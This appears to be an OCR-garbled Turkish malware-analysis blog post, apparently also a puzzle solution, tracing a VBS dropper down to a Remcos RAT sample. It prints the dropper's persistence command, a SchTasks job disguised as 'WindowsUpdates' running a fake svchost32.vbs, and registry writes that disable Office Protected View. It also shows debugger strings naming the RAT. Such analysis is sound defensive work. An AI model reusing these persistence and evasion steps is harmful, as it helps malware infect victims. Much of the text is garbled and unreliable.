w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=so.RegWrite
wso.RegWrite
wso.RegWrite
set shhh =

osofth
\Microsofth
oftware\Microsoft\

\12.0\PowerPoint\
i “PowerPo rotectedVie

IOEPCtnd\ ew

izable
zablelAttachements
sableUnsafelocat

cmd.exe /c SchTasks /Create /sc MINUTE /MO 360 /TN WindowsUpdates /TR
C:\\Users\\Public\\svchost32.vbs

izafelocati
fableInternetFiles
BableAttachementsl
fableUnzafelocatio
nmternetFilesInPV",
bttachements

Createobject("ﬂac:'

Dim AnwEXnwulStime

pt, .S5hell

InsafeLocat

rotectedView
v\ProtectedVi
rotectedView)

Software\Microsoft\Offi 1
. . " iy
Windows Script Host BV™,
1,
tachementsIr 1.

onsInbV"™

i,

sabl eU:‘.safeLocat-c:‘.s-.
1,

nternetFi BV™,
rotectedView\DisableAttachementsInBV", 1,
rotectedvView\DisableUnsafeLocationsInPvV™,

1, "RE
, 1, "REG
PV", 1, "
"REG_DWC

"REG DW
1, "RE
", 1, "REG
npv", 1, "
, "REG_DWO
"REG DWOR
1, "REG I
"REG DWOR
"REG_DWORD
1, "REG DW

1, e
"REG DWOR
"REG_DWORD
1, "REG DW
1, "RE
1, "REG
1, "
"REG_DWO
"REG DWOR
1, "REG

3 AnwEXnwulStime = "cmd.exe /c SchTasks /Create /f=sc MINUTE /MO 360 /TN WindowsUpdates /TR C:\\Users\\Public\\s=svchost32.
4 shhh. Popup (AnwEXnwul Stime)
4 | 3
Visual Basic file length :13.456 lines: 254 Ln:126 Col:31 5el:48|1 Windows (CR.LF) A{lﬂ Subat 2018 Cumartesil




File Help

we X B %

=Bl chusers\mert\desktop'profile\profile.exe

----- O dos-stub (192 bytes)

----- O file-header (Jun.1992)

----- O optional-header (suspicious)
----- O directories (4)

----- O sections (entry-point)

----- O libraries (1/11)

-5 | imports (13/0/6)

..... 3 exports (0)

----- ~0 tls-callbacks (n/a)

----- _} resources (unknown)

----- abe strings (wait..)

.. % debug (n/a)

..... E manifest (n/a)

..{13] version (PhotoshopPortable. exe)
certificate (n/a)

..... 9 overlay (wait..)

engine (66)
Rising

Tkarus

Kaspersky
Zonedlarm
Cylance
ESET-NOD32
Bkav
MicroWorld-eScan
nProtect

CMC
CAT-QuickHeal
MchAfee

Zillya

AegisLab
TheHacker
KIGW

KT AntiVirus
Arcabit
TrendMicro
Baidu

Cyren

Symantec
TrendMicro-HouseCall
Paloalto
ClamAv
BitDefender
MNANO-Antivirus
SUPERARtiSpyware
Tencent
Ad-Aware
Emsisoft

Comodo

F-Secure

positiv (7)

Malware.Undefined!8.C (TFE:L:uxD6hhSaRvy)

Trojan.Win32 Refroso
UDS:DangerousObject.Multi.Generic
UDS:DangerousObject.Multi.Generic
Unsafe

a wvariant of Win32/GenKryptik BPIC
clean

clean

clean

clean

clean

clean

clean

clean

clean

clean @
clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

date (dd.mm.yyyy)

08.02.2018
08.02.2018
08.02.2018
08.02.2018
09.02.2018
08.02.2018
08.02.2018
09.02.2018
08.02,2018
08.02.2018
08.02,2018
08.02.2018
08.02.2018
08.02.2018
08.02.2018
08.02.2018
08.02.2018
08.02.2018
08.02.2018
08.02,2018
08.02.2018
08.02.2018
08.02.2018
09.02.2018
08.02.2018
08.02.2018
08.02.2018
08.02.2018
09.02,2018
09.02.2018
08.02.2018
08.02.2018
08.02.2018

age (days)

1

m

HH R OO RRRBREROREBRERERRRRRERRERRRERRERGDRERBGOR B B

-

sha256: 796BF2CEF975153992397DEFE23AEE2B1 74284 E12D78 COFL FAD2E154794 CROCE

Possible:

Contact:

Last Update:

Januar 12 2017

Detected: ASProtectv?.4 Build 02.26 Beta

cpu: 32-bit  file-type: executable

subsystermn: GUI

entry-point: 0:00184001

x64dbg hata ayiklama araci ile svchost.exe (profile.exe) programini analiz

ettigimde ise ana zararli yazilim olan Remcos RAT zararli yazilimi Matruska

bebegi gibi nihayet ortaya c¢ikmis oldu.


https://x64dbg.com/#start
http://breaking-security.net/remcos/

8¢ g e rfie oI5 00Vl i ars st Vi et S A

File View Debug Trace Plugins Favourites Options Help Dec 262017
DE=0 |t 2§ txwB=2eLh# L0 R

,@CPU | @Graph | | #Log | | Notes | ® Breakpoints | 8 Memory Map | L] call Stack | =3 SEH | |t3] Seript | "'FJSymboIs | <2 Source | +' References | "ﬁ"ﬂ.ﬂ'qzici

| Strings (Region profile. exe) @

Address |Disassembly string -
O | push profile.4140A8 "remscriptexecd”
push profile. 414094 "remscriptsuccess"”
push profile.414084 “remscripterr™
push profile.4140C0 "exec"
push profile.4140D4 "NtUnmapViewdfsection”
push profile.4140C8 "ntd11.d11™
push profile.4140F8 "GetcursorInfo™
push profile.4140EC "User3z.dll”
push profile.414108 "DISPLAY"
push profile.413CiC "Shiwapi.d11"
push profile. 414130 "errscrcap"
push profile. 414118 L"image,/jpeg"
push profile.413F48 "initializescrcap”
push profile.414110 "scrshot™
push profile. 414160 L"png"
push profile.413CiC "Shiwapi.d11"
push profile.41414C L"image,/png"
push profile. 414144 L"dat"
mov dword ptr ss:[ebp-240],profile.4141A8 L"wnd_%041%021%021_%021%021%021"
mov dword ptr ss:[ebp-240],profile. 414168 L"time_%04i%02i%021_%02i%02i%02i"
mov dword ptr ss:[ebp-z40],profile.4141A8 L"wnd_s041%021%021_%02i%02i%021"
push profile.4141E4 "GetLastInputInfo™ i
push profile.4140EC "user3z.dll1"
push profile.4141F8 "9%021 : %021 : %027 :%021 "
push profile.414214 iy i
push profile.414220 L"httpi\shell\\open'\command"
push profile.413B68 | Boe o]
mov esi,profile. 414250 "abcdefghijkimnopgrstuvwxyz"™
push profile.41426C "user"

push profile.41427C
push profile.414278
mov edi,profile.414274
push profile. 413008
push profile.412AF4

m

push profile.413EBC (B ity
push profile. 414290 "GetConsolewindow"
)| push profile.4138D8 "kernel3z.d11"

push dword ptr ds:[418134] &"Remcos"

mov esi,profile.4142A4 "MsgwindowClass"

push profile.4142B4 "Close™

push profile.4142E4 "CONOUTS"

mov edi,profile.4142D8 " * REMCOS v"

mov edi,profile.413C9C "1.9.9 Pro"

mov edi,profile.4142BC "\wn * Breaking-Security.Net\n\n" B

sub eax,0l1e32.75636553 Wi il
4 | 1 | 2
Search: |Type here to filter results... [ Regex
1 .« L L e 130 L — 515
Command: Default
| Running |Thread F738 exit [Ja\_fa Update Available EWasted Debugging: 0:00:04:40
@ Main Produsts | Breakin % s
€ 2 C )| @ Securs tr o e

i) Hack 4 Canper. Infe Crhes bos

Home Blog e5 5 odes  Shop Cl \re:a Contact Q@ ™

Control remotely your computers, anywhere in the world.

% VIEW OTHER FEATURES

Octopus Crypter

* OTHER FEATURES

Matruska, Rus yapimi bir oyuncak bebek tiruddir. Ahsap el yapimi olan bebekler
ortasindan acildiginda baska bir bebek ¢ikar, onu ac¢tiginizda yine baska bir
bebek cikar. Tek anne figlUrunin icerisinde i¢ ige yerlestirilmis bes veya
yedi bebekten olusur.



Bir sonraki yazida goOrismek dilegiyle herkese giuvenli ginler dilerim.
Not:

1. Bu yazi ayrica Pi Hediyem Var #13 oyununun c6zum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-13/

